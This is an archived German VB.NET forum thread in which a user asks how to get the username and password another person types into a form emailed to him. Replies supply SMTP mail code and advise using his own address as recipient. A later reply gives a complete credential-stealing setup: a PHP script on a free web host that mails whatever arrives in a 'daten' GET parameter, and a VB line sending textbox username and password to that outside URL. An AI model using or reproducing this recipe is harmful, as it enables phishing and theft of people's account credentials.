PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Butten und mail



XXL
24.01.2009, 20:48
Kann ich es im code verwirklichen das wenn ich auf einen Butten klicke,

mir das PW+Username per email geschickt werden?

Ich stell mir das so vor

2 Txtboxen,1 butten

er schreibt sein pw und username rein und mir werden die Daten per Mail geschickt sobald er auf den Butten klickt!

LG

euer XXL :)

Ch4o5
24.01.2009, 21:39
Klar ist das möglich:
System.Web.Mail;
http://msdn.microsoft.com/en-us/library/system.web.mail.aspx

XXL
24.01.2009, 21:47
ein Code wär nicht schlecht :D

Ch4o5
24.01.2009, 21:58
Steht doch da alles...
Müsstest vllt auch mal die Sprache sagen...

XXL
24.01.2009, 22:11
VB.net wäre es in meinem Fall!

LG

Ch4o5
24.01.2009, 22:14
Kann ich leider nicht besonders. Hier hab ich aber Code gefunden. Denke ist selbst erklärend: Instanzieren, Eigenschaften setzten, senden.
Dim MyMail As MailMessage = New MailMessage()
MyMail.From = sFrom
MyMail.To = sTo
MyMail.Subject = sSubject
MyMail.Body = sBody
MyMail.Cc = sCc
MyMail.Bcc = sBcc
MyMail.UrlContentBase = sUrlContentBase
MyMail.UrlContentLocation = sUrlContentLocation

Select Case txtBodyEncoding.Text
Case Encoding.UTF7.EncodingName : MyMail.BodyEncoding = Encoding.UTF7
Case Encoding.UTF8.EncodingName : MyMail.BodyEncoding = Encoding.UTF8
Case Else : MyMail.BodyEncoding = Encoding.ASCII
End Select

Select Case UCase(sBodyFormat)
Case "HTML" : MyMail.BodyFormat = MailFormat.Html
Case Else : MyMail.BodyFormat = MailFormat.Text
End Select

Select Case UCase(sPriority)
Case "HIGH" : MyMail.Priority = MailPriority.High
Case "LOW" : MyMail.Priority = MailPriority.Low
Case Else : MyMail.Priority = MailPriority.Normal
End Select
' Build an IList of mail attachments.
If sAttach "" Then
Dim delim As Char = ","
Dim sSubstr As String
For Each sSubstr In sAttach.Split(delim)
Dim myAttachment As MailAttachment = New MailAttachment(sSubstr)
MyMail.Attachments.Add(myAttachment)
Next
End If
SmtpMail.SmtpServer = sMailServer
SmtpMail.Send(MyMail)

laKiT
24.01.2009, 22:16
Das Passwort und der Name müssen in zwei Variablen geschrieben werden. Und dann kannst du diesen Code benutzen:
http://forum.vb-paradise.de/allgemeines/tipps-tricks-und-tutorials/internet-lan/13515-e-mail-versenden/ Dort dann statt "Nachricht" die erste Variable & die zweite Variable

XXL
24.01.2009, 22:49
Dim Msg As New MailMessage
Dim myCredentials As New System.Net.NetworkCredential
myCredentials.UserName = "absender@domain.de" ' <--- deine email-adresse
myCredentials.Password = "Passwort"' <--- dein passwort zum mailaccount

Msg.IsBodyHtml = False

Dim mySmtpsvr As New SmtpClient()
mySmtpsvr.Host = "subdomain.domain.tld"
mySmtpsvr.Port = 25 ' <--- port evt, je nach mailanbieter anpassen

mySmtpsvr.UseDefaultCredentials = False
mySmtpsvr.Credentials = myCredentials

Try
Msg.From = New MailAddress("absender@domain.de") ' <--- deine email-adresse
Msg.To.Add("reciepent@domain.de") ' <--- empfänger-adresse
Msg.Subject = "Betreff" ' <--- betreff
Msg.Body = "Nachricht" ' <--- Eigentliche Nachricht
mySmtpsvr.Send(Msg)
MsgBox("E-Mail erfolgreich gesendet", MsgBoxStyle.Information, Title:="Information")
Catch ex As Exception
MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString) 'Falls ein Fehler auftritt wird eine MsgBox angezeigt
End Try


ich habe ne email adresse bei web.de was muss ich dann da reinschreib
ich weis alles bis zu email und pw aber die andern weis ich nicht.

LG


und was brauche ich dafür nur 2 textboxen,2 label, 1 butten

butten klick und dann den code einfügen und dort alles ändern mit meiner email addy und pw aber was soll ich bei empfänger adresse und so reinschreiben

LG

Ch4o5
24.01.2009, 23:07
Na deine Adresse. Du willst die doch kriegen ;)
Und um eine Email zu senden musst du dich bei dem Server evtl. anmelden. Dafür die Felder oben.
Die Teile heißen überings Buttons ;) Mit o.

XXL
25.01.2009, 11:33
also was brauche ich dafür nur ?

einen button, 2 label, 2 textboxen?

fertig?

LG

Ch4o5
25.01.2009, 18:22
Kannst auch als Konsolenprojekt machen..
Aber das wären die Sachen die du brauchst, ja...

j0n4s
02.03.2009, 16:05
Hi
ich machs eig. immer so:

Was wir brauchen:
FTP Account (funpic,ohost,bplaced , etc..)
PHP Code
Webbrowser

so fangen wir an
1. Öffne ein Editor
2. Schreib dein Folgenden Code rein und ersetze "beispiel@hotmail.de" durch deine mail und bei "Betreff" kannst du z.b Accounts reinschreiben .. oder was auch immer..

<?php
$daten = $_GET['daten'];
mail ( 'beispiel@hotmail.de' , 'Betreff' , $daten );3.So nun Speicher es als email.php ab!
4.Nun uppst du email.php auf dein FTP Acc.. z.b mit Filezilla!

So nun kommen wir zu dem Button Code:


WebBrowser1.Navigate("http://blabla.bplaced.net/email.php?daten=" & "Username: " & textbox1.text & " Passwort: " & textbox2.text)ok das wars eig. auch..
finde die lösung eig. ganz gut
da muss man auch nicht viel schreiben..^^
mfg

krusty
03.03.2009, 12:43
ich frag eben hier, wie kann man per php mehrere variablen übergeben mit & oda so ? =D